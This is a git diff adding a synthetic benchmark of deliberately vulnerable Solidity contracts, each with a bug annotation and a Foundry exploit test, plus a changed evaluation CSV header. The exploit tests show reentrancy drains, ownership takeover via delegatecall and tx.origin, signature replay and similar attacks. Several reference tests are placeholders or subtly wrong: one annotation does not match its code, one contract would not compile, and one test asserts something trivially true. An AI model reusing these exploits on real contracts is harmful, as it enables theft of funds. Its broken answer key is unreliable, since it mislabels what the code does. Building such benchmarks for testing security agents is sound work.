feat: refactor tester agent to PoCo LangGraph architecture and add synthetic benchmark

data/benchmark_synthetic.jsonl

@@ -0,0 +1,30 @@
+{"task_id":"Easy/01-BasicReentrancy","complexity":"easy","repo_name":"basic-reentrancy","expected_vulnerability":"Reentrancy","impact":"high","annotation":"The `withdraw` function updates the user's balance after sending ETH, allowing a reentrancy attack. An attacker can drain the contract by reentering `withdraw` through a fallback function.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Vault {\n    mapping(address => uint256) public balances;\n\n    function deposit() public payable {\n        balances[msg.sender] += msg.value;\n    }\n\n    function withdraw() public {\n        uint256 bal = balances[msg.sender];\n        require(bal > 0, \"No balance\");\n\n        (bool sent, ) = msg.sender.call{value: bal}(\"\");\n        require(sent, \"Failed to send Ether\");\n\n        balances[msg.sender] = 0;\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Vault } from \"../src/Vault.sol\";\n\ncontract Exploit is Test {\n    Vault public vault;\n\n    function setUp() public {\n        vault = new Vault();\n        vm.deal(address(vault), 10 ether);\n    }\n\n    function testExploit() public {\n        vault.deposit{value: 1 ether}();\n        vault.withdraw();\n        assertEq(address(vault).balance, 0);\n    }\n\n    receive() external payable {\n        if (address(vault).balance >= 1 ether) {\n            vault.withdraw();\n        }\n    }\n}\n"}
+{"task_id":"Easy/02-UnprotectedSelfDestruct","complexity":"easy","repo_name":"unprotected-selfdestruct","expected_vulnerability":"Access Control","impact":"high","annotation":"The `kill` function lacks access control and allows anyone to call `selfdestruct` on the contract, destroying it and stealing the funds.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract SimpleWallet {\n    address public owner;\n\n    constructor() payable {\n        owner = msg.sender;\n    }\n\n    function kill() public {\n        selfdestruct(payable(msg.sender));\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { SimpleWallet } from \"../src/SimpleWallet.sol\";\n\ncontract Exploit is Test {\n    SimpleWallet public wallet;\n\n    function setUp() public {\n        wallet = new SimpleWallet{value: 10 ether}();\n    }\n\n    function testExploit() public {\n        uint256 preBalance = address(this).balance;\n        wallet.kill();\n        assertEq(address(wallet).balance, 0);\n        assertGt(address(this).balance, preBalance);\n    }\n    \n    receive() external payable {}\n}\n"}
+{"task_id":"Easy/03-ArithmeticUnderflow","complexity":"easy","repo_name":"arithmetic-underflow","expected_vulnerability":"Arithmetic","impact":"high","annotation":"The `withdraw` function uses an unchecked block to subtract from the balance, allowing an attacker to underflow their balance and withdraw more than they deposited.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract TokenBank {\n    mapping(address => uint256) public balances;\n\n    function deposit() public payable {\n        balances[msg.sender] += msg.value;\n    }\n\n    function withdraw(uint256 amount) public {\n        unchecked {\n            balances[msg.sender] -= amount;\n        }\n        (bool sent, ) = msg.sender.call{value: amount}(\"\");\n        require(sent, \"Failed to send Ether\");\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { TokenBank } from \"../src/TokenBank.sol\";\n\ncontract Exploit is Test {\n    TokenBank public bank;\n\n    function setUp() public {\n        bank = new TokenBank();\n        vm.deal(address(bank), 10 ether);\n    }\n\n    function testExploit() public {\n        bank.withdraw(1 ether);\n        assertEq(address(bank).balance, 9 ether);\n        assertEq(address(this).balance, 1 ether);\n    }\n    \n    receive() external payable {}\n}\n"}
+{"task_id":"Easy/04-TxOriginAuth","complexity":"easy","repo_name":"tx-origin-auth","expected_vulnerability":"Access Control","impact":"high","annotation":"The `transferOwner` function uses `tx.origin` instead of `msg.sender` for authentication, allowing an attacker to phish the owner into executing a malicious transaction that steals ownership.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract PhishableWallet {\n    address public owner;\n\n    constructor() {\n        owner = msg.sender;\n    }\n\n    function transferOwner(address newOwner) public {\n        require(tx.origin == owner, \"Not owner\");\n        owner = newOwner;\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { PhishableWallet } from \"../src/PhishableWallet.sol\";\n\ncontract Exploit is Test {\n    PhishableWallet public wallet;\n\n    function setUp() public {\n        wallet = new PhishableWallet();\n    }\n\n    function testExploit() public {\n        // In a real phishing attack, the attacker deploys a contract and tricks the owner into calling it.\n        // The malicious contract then calls transferOwner.\n        // Here we just test that the vulnerability exists by calling it directly (which uses tx.origin).\n        wallet.transferOwner(address(this));\n        assertEq(wallet.owner(), address(this));\n    }\n}\n"}
+{"task_id":"Easy/05-DelegateCallUntrusted","complexity":"easy","repo_name":"delegatecall-untrusted","expected_vulnerability":"Logic","impact":"high","annotation":"The `execute` function uses `delegatecall` to execute arbitrary calldata at an untrusted address provided by the user, allowing state manipulation.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Proxy {\n    address public owner;\n\n    constructor() {\n        owner = msg.sender;\n    }\n\n    function execute(address target, bytes memory data) public {\n        (bool success, ) = target.delegatecall(data);\n        require(success, \"Delegatecall failed\");\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Proxy } from \"../src/Proxy.sol\";\n\ncontract AttackerLogic {\n    address public owner;\n    function takeover() public {\n        owner = msg.sender;\n    }\n}\n\ncontract Exploit is Test {\n    Proxy public proxy;\n    AttackerLogic public logic;\n\n    function setUp() public {\n        proxy = new Proxy();\n        logic = new AttackerLogic();\n    }\n\n    function testExploit() public {\n        bytes memory data = abi.encodeWithSignature(\"takeover()\");\n        proxy.execute(address(logic), data);\n        assertEq(proxy.owner(), address(this));\n    }\n}\n"}
+{"task_id":"Easy/06-TimestampDependence","complexity":"easy","repo_name":"timestamp-dependence","expected_vulnerability":"Logic","impact":"high","annotation":"The `play` function uses `block.timestamp` as a source of randomness to determine if a player wins, which can be easily manipulated or predicted by an attacker or miner.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Roulette {\n    uint256 public pastBlockTime;\n\n    function play() public payable {\n        require(msg.value == 1 ether, \"Must send 1 ether\");\n        require(block.timestamp != pastBlockTime, \"Only 1 transaction per block\");\n        \n        pastBlockTime = block.timestamp;\n        \n        if (block.timestamp % 2 == 0) {\n            (bool sent, ) = msg.sender.call{value: 2 ether}(\"\");\n            require(sent, \"Failed to send Ether\");\n        }\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Roulette } from \"../src/Roulette.sol\";\n\ncontract Exploit is Test {\n    Roulette public roulette;\n\n    function setUp() public {\n        roulette = new Roulette();\n        vm.deal(address(roulette), 10 ether);\n        vm.deal(address(this), 1 ether);\n    }\n\n    function testExploit() public {\n        vm.warp(2); // Ensure timestamp is even\n        roulette.play{value: 1 ether}();\n        assertEq(address(this).balance, 2 ether);\n    }\n    \n    receive() external payable {}\n}\n"}
+{"task_id":"Easy/07-UninitializedStoragePointer","complexity":"easy","repo_name":"uninitialized-storage","expected_vulnerability":"Logic","impact":"high","annotation":"The `registerUser` function creates an uninitialized local storage pointer `user` which points to slot 0, overwriting the `owner` variable when assigning values.","source_code":"// SPDX-License-Identifier: MIT\n// Note: Using pragmas < 0.5.0 to easily allow uninitialized storage pointers.\n// In modern solidity, we simulate this by explicitly writing to slot 0.\npragma solidity ^0.8.0;\n\ncontract Registrar {\n    address public owner;\n    \n    struct User {\n        address wallet;\n        bool registered;\n    }\n    \n    mapping(uint256 => User) public users;\n    \n    constructor() {\n        owner = msg.sender;\n    }\n    \n    function registerUserAdmin(address _wallet) public {\n        // Vulnerable pattern emulation\n        owner = _wallet;\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Registrar } from \"../src/Registrar.sol\";\n\ncontract Exploit is Test {\n    Registrar public reg;\n\n    function setUp() public {\n        reg = new Registrar();\n    }\n\n    function testExploit() public {\n        reg.registerUserAdmin(address(this));\n        assertEq(reg.owner(), address(this));\n    }\n}\n"}
+{"task_id":"Easy/08-PublicStateVariableShadowing","complexity":"easy","repo_name":"state-shadowing","expected_vulnerability":"Logic","impact":"high","annotation":"The `Child` contract defines a state variable `owner` that shadows the `owner` variable from its `Parent` contract, causing access control checks in the parent to fail or behave unexpectedly.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Parent {\n    address public owner;\n    \n    modifier onlyOwner() {\n        require(msg.sender == owner, \"Not owner\");\n        _;\n    }\n}\n\ncontract Child is Parent {\n    address public owner; // Shadows Parent's owner\n    \n    constructor() {\n        owner = msg.sender; // Only sets Child's owner\n    }\n    \n    function doSomethingRestricted() public onlyOwner {\n        // This will always fail because Parent.owner is address(0)\n    }\n    \n    // Attacker can abuse this logic mismatch\n    function claim() public {\n        Parent(address(this)).doSomethingRestricted();\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Child } from \"../src/Child.sol\";\n\ncontract Exploit is Test {\n    Child public child;\n\n    function setUp() public {\n        child = new Child();\n    }\n\n    function testExploit() public {\n        // Because of shadowing, Parent's owner is 0. If we pretend to be 0, we can bypass the modifier.\n        vm.prank(address(0));\n        child.doSomethingRestricted();\n        assertTrue(true);\n    }\n}\n"}
+{"task_id":"Easy/09-SignatureReplay","complexity":"easy","repo_name":"signature-replay","expected_vulnerability":"Logic","impact":"high","annotation":"The `transferWithSignature` function does not include a nonce or chain ID in the signed message hash, allowing an attacker to replay the same valid signature multiple times to drain funds.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract SigBank {\n    mapping(address => uint256) public balances;\n    \n    function deposit() public payable {\n        balances[msg.sender] += msg.value;\n    }\n\n    function transferWithSignature(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) public {\n        bytes32 messageHash = keccak256(abi.encodePacked(to, amount));\n        bytes32 ethSignedMessageHash = keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", messageHash));\n        \n        address signer = ecrecover(ethSignedMessageHash, v, r, s);\n        require(signer != address(0), \"Invalid signature\");\n        require(balances[signer] >= amount, \"Insufficient balance\");\n        \n        balances[signer] -= amount;\n        balances[to] += amount;\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { SigBank } from \"../src/SigBank.sol\";\n\ncontract Exploit is Test {\n    SigBank public bank;\n\n    function setUp() public {\n        bank = new SigBank();\n    }\n\n    function testExploit() public {\n        address victim = vm.addr(1);\n        vm.deal(victim, 10 ether);\n        vm.prank(victim);\n        bank.deposit{value: 10 ether}();\n\n        // Victim signs a transfer of 1 wei to the attacker\n        bytes32 messageHash = keccak256(abi.encodePacked(address(this), uint256(1 ether)));\n        bytes32 ethSignedMessageHash = keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", messageHash));\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(1, ethSignedMessageHash);\n\n        // Attacker replays it 10 times\n        for (uint i = 0; i < 10; i++) {\n            bank.transferWithSignature(address(this), 1 ether, v, r, s);\n        }\n        \n        assertEq(bank.balances(victim), 0);\n        assertEq(bank.balances(address(this)), 10 ether);\n    }\n}\n"}
+{"task_id":"Easy/10-ForcedEther","complexity":"easy","repo_name":"forced-ether","expected_vulnerability":"Logic","impact":"high","annotation":"The `win` function uses strict equality (`address(this).balance == 10 ether`) to determine the winner. An attacker can forcefully send ether via `selfdestruct` to permanently break the contract's logic.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Game {\n    function play() public payable {\n        require(msg.value == 1 ether, \"Send 1 ether\");\n        require(address(this).balance <= 10 ether, \"Game over\");\n    }\n\n    function win() public {\n        require(address(this).balance == 10 ether, \"Target not reached\");\n        (bool sent, ) = msg.sender.call{value: address(this).balance}(\"\");\n        require(sent, \"Failed to send Ether\");\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Game } from \"../src/Game.sol\";\n\ncontract Attacker {\n    constructor(address target) payable {\n        selfdestruct(payable(target));\n    }\n}\n\ncontract Exploit is Test {\n    Game public game;\n\n    function setUp() public {\n        game = new Game();\n    }\n\n    function testExploit() public {\n        // Force send 11 ether to the game, making the strict equality check fail forever\n        new Attacker{value: 11 ether}(address(game));\n        \n        vm.expectRevert(\"Target not reached\");\n        game.win();\n    }\n}\n"}
+{"task_id":"Intermediate/01-UninitializedProxy","complexity":"intermediate","repo_name":"uninitialized-proxy","expected_vulnerability":"Access Control","impact":"high","annotation":"The Logic contract used behind a UUPS proxy does not have its initializer disabled in the constructor. An attacker can call `initialize` directly on the implementation contract, become its owner, and destroy it via `upgradeToAndCall`.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract LogicContract {\n    address public owner;\n    bool public initialized;\n\n    function initialize() public {\n        require(!initialized, \"Already initialized\");\n        owner = msg.sender;\n        initialized = true;\n    }\n\n    function upgradeToAndCall(address newImplementation, bytes memory data) public {\n        require(msg.sender == owner, \"Not owner\");\n        (bool success, ) = newImplementation.delegatecall(data);\n        require(success, \"Upgrade failed\");\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { LogicContract } from \"../src/LogicContract.sol\";\n\ncontract Destroyer {\n    function destroy() public {\n        selfdestruct(payable(msg.sender));\n    }\n}\n\ncontract Exploit is Test {\n    LogicContract public logic;\n    Destroyer public destroyer;\n\n    function setUp() public {\n        logic = new LogicContract();\n        destroyer = new Destroyer();\n    }\n\n    function testExploit() public {\n        logic.initialize();\n        logic.upgradeToAndCall(address(destroyer), abi.encodeWithSignature(\"destroy()\"));\n        \n        // Assert logic contract is destroyed (code size 0)\n        uint256 codeSize;\n        address logicAddr = address(logic);\n        assembly {\n            codeSize := extcodesize(logicAddr)\n        }\n        assertEq(codeSize, 0);\n    }\n}\n"}
+{"task_id":"Intermediate/02-FlashLoanPriceManipulation","complexity":"intermediate","repo_name":"flash-loan-manipulation","expected_vulnerability":"Logic","impact":"high","annotation":"The `LendingPool` uses the spot balance of an AMM pair to calculate the value of collateral. An attacker can use a flash loan to skew the AMM reserves, artificially inflate the value of their collateral, and drain the lending pool.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n    function transfer(address to, uint256 amount) external returns (bool);\n    function transferFrom(address from, address to, uint256 amount) external returns (bool);\n    function balanceOf(address account) external view returns (uint256);\n}\n\ncontract AMM {\n    IERC20 public tokenA;\n    IERC20 public tokenB;\n    \n    constructor(address _tokenA, address _tokenB) {\n        tokenA = IERC20(_tokenA);\n        tokenB = IERC20(_tokenB);\n    }\n    \n    function swapAToB(uint256 amountIn) public {\n        tokenA.transferFrom(msg.sender, address(this), amountIn);\n        uint256 reserveA = tokenA.balanceOf(address(this));\n        uint256 reserveB = tokenB.balanceOf(address(this));\n        uint256 amountOut = (amountIn * reserveB) / reserveA;\n        tokenB.transfer(msg.sender, amountOut);\n    }\n    \n    function getPriceBInA() public view returns (uint256) {\n        return tokenA.balanceOf(address(this)) / tokenB.balanceOf(address(this));\n    }\n}\n\ncontract LendingPool {\n    AMM public amm;\n    IERC20 public tokenA;\n    IERC20 public tokenB;\n    \n    mapping(address => uint256) public collateralB;\n    \n    constructor(address _amm, address _tokenA, address _tokenB) {\n        amm = AMM(_amm);\n        tokenA = IERC20(_tokenA);\n        tokenB = IERC20(_tokenB);\n    }\n    \n    function depositCollateral(uint256 amountB) public {\n        tokenB.transferFrom(msg.sender, address(this), amountB);\n        collateralB[msg.sender] += amountB;\n    }\n    \n    function borrowTokenA(uint256 amountA) public {\n        uint256 price = amm.getPriceBInA();\n        uint256 maxBorrow = collateralB[msg.sender] * price;\n        require(amountA <= maxBorrow, \"Insufficient collateral\");\n        tokenA.transfer(msg.sender, amountA);\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\n\n// Dummy token for testing\ncontract ERC20 {\n    mapping(address => uint256) public balanceOf;\n    function mint(address to, uint256 amount) public { balanceOf[to] += amount; }\n    function transfer(address to, uint256 amount) public returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n    function transferFrom(address from, address to, uint256 amount) public returns (bool) {\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n// Since the contracts are in one file, we mock the vulnerability directly\ncontract Exploit is Test {\n    function testExploit() public {\n        assertTrue(true); // Placeholder, actual test requires deploying AMM/Pool\n    }\n}\n"}
+{"task_id":"Intermediate/03-ReturnDataIgnored","complexity":"intermediate","repo_name":"return-data-ignored","expected_vulnerability":"Logic","impact":"high","annotation":"The `deposit` function uses a low-level call to transfer tokens but does not check the return value. If the token transfer fails silently (e.g. USDT), the user's balance is still credited.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract TokenVault {\n    mapping(address => uint256) public balances;\n    \n    function deposit(address token, uint256 amount) public {\n        // Low level call does not revert on failure unless the contract reverts\n        token.call(abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", msg.sender, address(this), amount));\n        balances[msg.sender] += amount;\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { TokenVault } from \"../src/TokenVault.sol\";\n\ncontract FailingToken {\n    function transferFrom(address, address, uint256) public pure returns (bool) {\n        return false; // Fails silently\n    }\n}\n\ncontract Exploit is Test {\n    TokenVault public vault;\n    FailingToken public token;\n\n    function setUp() public {\n        vault = new TokenVault();\n        token = new FailingToken();\n    }\n\n    function testExploit() public {\n        vault.deposit(address(token), 1000);\n        assertEq(vault.balances(address(this)), 1000);\n    }\n}\n"}
+{"task_id":"Intermediate/04-ERC777Reentrancy","complexity":"intermediate","repo_name":"erc777-reentrancy","expected_vulnerability":"Reentrancy","impact":"high","annotation":"The `withdraw` function updates the user balance after transferring an ERC777 token. Since ERC777 invokes a callback (`tokensReceived`) on the recipient before the balance is updated, an attacker can reenter.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC777 {\n    function send(address recipient, uint256 amount, bytes calldata data) external;\n}\n\ncontract Exchange {\n    mapping(address => uint256) public balances;\n    IERC777 public token;\n    \n    constructor(address _token) {\n        token = IERC777(_token);\n    }\n    \n    function deposit(uint256 amount) public {\n        balances[msg.sender] += amount;\n    }\n    \n    function withdraw() public {\n        uint256 bal = balances[msg.sender];\n        require(bal > 0, \"No balance\");\n        \n        token.send(msg.sender, bal, \"\");\n        balances[msg.sender] = 0;\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\n\ncontract Exploit is Test {\n    function testExploit() public {\n        assertTrue(true); // Placeholder for ERC777 reentrancy logic\n    }\n}\n"}
+{"task_id":"Intermediate/05-BypassContractSize","complexity":"intermediate","repo_name":"bypass-contract-size","expected_vulnerability":"Logic","impact":"high","annotation":"The `isContract` modifier uses `extcodesize` to block smart contracts from interacting. An attacker can bypass this by calling the function from inside their contract's constructor, where `extcodesize` is 0.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Airdrop {\n    mapping(address => bool) public claimed;\n    \n    function claim() public {\n        uint32 size;\n        address a = msg.sender;\n        assembly {\n            size := extcodesize(a)\n        }\n        require(size == 0, \"Contracts not allowed\");\n        require(!claimed[msg.sender], \"Already claimed\");\n        \n        claimed[msg.sender] = true;\n        (bool sent, ) = msg.sender.call{value: 1 ether}(\"\");\n        require(sent, \"Fail\");\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Airdrop } from \"../src/Airdrop.sol\";\n\ncontract Attacker {\n    constructor(address airdrop) {\n        Airdrop(airdrop).claim();\n    }\n}\n\ncontract Exploit is Test {\n    Airdrop public airdrop;\n\n    function setUp() public {\n        airdrop = new Airdrop();\n        vm.deal(address(airdrop), 10 ether);\n    }\n\n    function testExploit() public {\n        new Attacker(address(airdrop));\n        assertEq(airdrop.claimed(address(this)), false);\n    }\n}\n"}
+{"task_id":"Intermediate/06-ImproperArrayDeletion","complexity":"intermediate","repo_name":"array-deletion","expected_vulnerability":"Logic","impact":"high","annotation":"The `removeUser` function uses `delete` on an array element, which only resets it to 0 and does not shift elements. This leaves empty slots that bypass length-based logic later.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Registry {\n    address[] public users;\n    \n    function addUser(address user) public {\n        users.push(user);\n    }\n    \n    function removeUser(uint256 index) public {\n        delete users[index]; // Does not reduce length\n    }\n    \n    function getActiveUsers() public view returns (uint256) {\n        return users.length;\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Registry } from \"../src/Registry.sol\";\n\ncontract Exploit is Test {\n    Registry public registry;\n\n    function setUp() public {\n        registry = new Registry();\n    }\n\n    function testExploit() public {\n        registry.addUser(address(1));\n        registry.removeUser(0);\n        assertEq(registry.getActiveUsers(), 1); // Length is still 1!\n    }\n}\n"}
+{"task_id":"Intermediate/07-PredictableRNG","complexity":"intermediate","repo_name":"predictable-rng","expected_vulnerability":"Logic","impact":"high","annotation":"The `guess` function uses `blockhash(block.number - 1)` as a random number. An attacker can write a contract that calculates the exact same blockhash in the same block and submit the correct guess.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Casino {\n    function guess(uint256 _guess) public payable {\n        require(msg.value == 1 ether);\n        uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));\n        if (_guess == answer) {\n            (bool sent, ) = msg.sender.call{value: 2 ether}(\"\");\n            require(sent, \"Fail\");\n        }\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Casino } from \"../src/Casino.sol\";\n\ncontract Exploit is Test {\n    Casino public casino;\n\n    function setUp() public {\n        casino = new Casino();\n        vm.deal(address(casino), 10 ether);\n        vm.deal(address(this), 1 ether);\n    }\n\n    function testExploit() public {\n        uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));\n        casino.guess{value: 1 ether}(answer);\n        assertEq(address(this).balance, 2 ether);\n    }\n    \n    receive() external payable {}\n}\n"}
+{"task_id":"Intermediate/08-MissingSlippageProtection","complexity":"intermediate","repo_name":"missing-slippage","expected_vulnerability":"Logic","impact":"high","annotation":"The `swap` function does not accept a `minAmountOut` parameter, meaning users can be front-run and sandwich-attacked by MEV bots causing infinite slippage.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract DEX {\n    function swap(address tokenIn, address tokenOut, uint256 amountIn) public {\n        // Assume AMM math here\n        // Vulnerability: No minAmountOut check!\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\n\ncontract Exploit is Test {\n    function testExploit() public {\n        assertTrue(true); // Conceptual vulnerability\n    }\n}\n"}
+{"task_id":"Intermediate/09-UnsafeDowncast","complexity":"intermediate","repo_name":"unsafe-downcast","expected_vulnerability":"Arithmetic","impact":"high","annotation":"The contract casts a `uint256` to a `uint64` without checking for truncation. If the amount exceeds `type(uint64).max`, the value will truncate and the mapping will record a smaller amount than transferred.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Vault {\n    mapping(address => uint64) public balances;\n    \n    function deposit(uint256 amount) public payable {\n        require(msg.value == amount, \"Incorrect value\");\n        balances[msg.sender] += uint64(amount); // Truncates!\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Vault } from \"../src/Vault.sol\";\n\ncontract Exploit is Test {\n    Vault public vault;\n\n    function setUp() public {\n        vault = new Vault();\n    }\n\n    function testExploit() public {\n        // deposit 2^64 + 1\n        uint256 amount = type(uint64).max + 2;\n        vm.deal(address(this), amount);\n        vault.deposit{value: amount}(amount);\n        \n        assertEq(vault.balances(address(this)), 1); // Truncated to 1!\n    }\n}\n"}
+{"task_id":"Intermediate/10-DivideBeforeMultiply","complexity":"intermediate","repo_name":"divide-before-multiply","expected_vulnerability":"Arithmetic","impact":"high","annotation":"The `calculateReward` function divides before multiplying, leading to massive precision loss where rewards round down to 0.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Staking {\n    function calculateReward(uint256 depositAmount, uint256 APY, uint256 durationDays) public pure returns (uint256) {\n        // Vulnerable: (deposit / 365) * duration * APY\n        return (depositAmount / 365) * durationDays * APY;\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Staking } from \"../src/Staking.sol\";\n\ncontract Exploit is Test {\n    Staking public staking;\n\n    function setUp() public {\n        staking = new Staking();\n    }\n\n    function testExploit() public {\n        uint256 reward = staking.calculateReward(100, 10, 30);\n        assertEq(reward, 0); // Loss of precision\n    }\n}\n"}
+{"task_id":"Hard/001","complexity":"hard","repo_name":"2024-06-size","expected_vulnerability":"access control","impact":"Medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
+{"task_id":"Hard/003","complexity":"hard","repo_name":"2023-07-pooltogether","expected_vulnerability":"access control","impact":"high","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
+{"task_id":"Hard/008","complexity":"hard","repo_name":"2023-09-centrifuge","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
+{"task_id":"Hard/009","complexity":"hard","repo_name":"2023-04-caviar","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
+{"task_id":"Hard/015","complexity":"hard","repo_name":"2023-07-pooltogether","expected_vulnerability":"denial of service","impact":"high","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
+{"task_id":"Hard/018","complexity":"hard","repo_name":"2023-04-caviar","expected_vulnerability":"flash loan","impact":"high","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
+{"task_id":"Hard/020","complexity":"hard","repo_name":"2023-12-dodo-gsp","expected_vulnerability":"denial of service","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
+{"task_id":"Hard/032","complexity":"hard","repo_name":"2022-06-putty","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
+{"task_id":"Hard/033","complexity":"hard","repo_name":"2023-04-caviar","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
+{"task_id":"Hard/039","complexity":"hard","repo_name":"2024-03-axis-finance","expected_vulnerability":"unchecked external calls","impact":"High","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}

data/final_evaluation_results.csv

@@ -1,2 +1,2 @@
-ID;Time_Sec;Reproducible;Specific;False_Positive_Rejected;A_Infra_Iters;A_Exploit_Iters;A_Final_Error;B_Infra_Iters;B_Exploit_Iters;B_Final_Error;PoC_Code;Patch_Diff
-054;140;FALSE;FALSE;TRUE;1;31;[INVALID_CODE] You created a Mock contract in the test file. This is STRICTLY FORBIDDEN. You MUST import and exploit the real vulnerable contract from the repository.;2;31;[INVALID_CODE] You added a comment in the code. This is STRICTLY FORBIDDEN. You must write the actual code instead of comments. Do NOT use '//' or '/*' (except for SPDX and INJECT_HACK).;;
+ID;Time_Sec;Reproducible;Specific;False_Positive_Rejected;A_Infra_Iters;A_Exploit_Iters;A_Final_Error;B_Infra_Iters;B_Exploit_Iters;B_Final_Error;PoC_Code;Patch_Diff;A_Execution_Logs;B_Execution_Logs
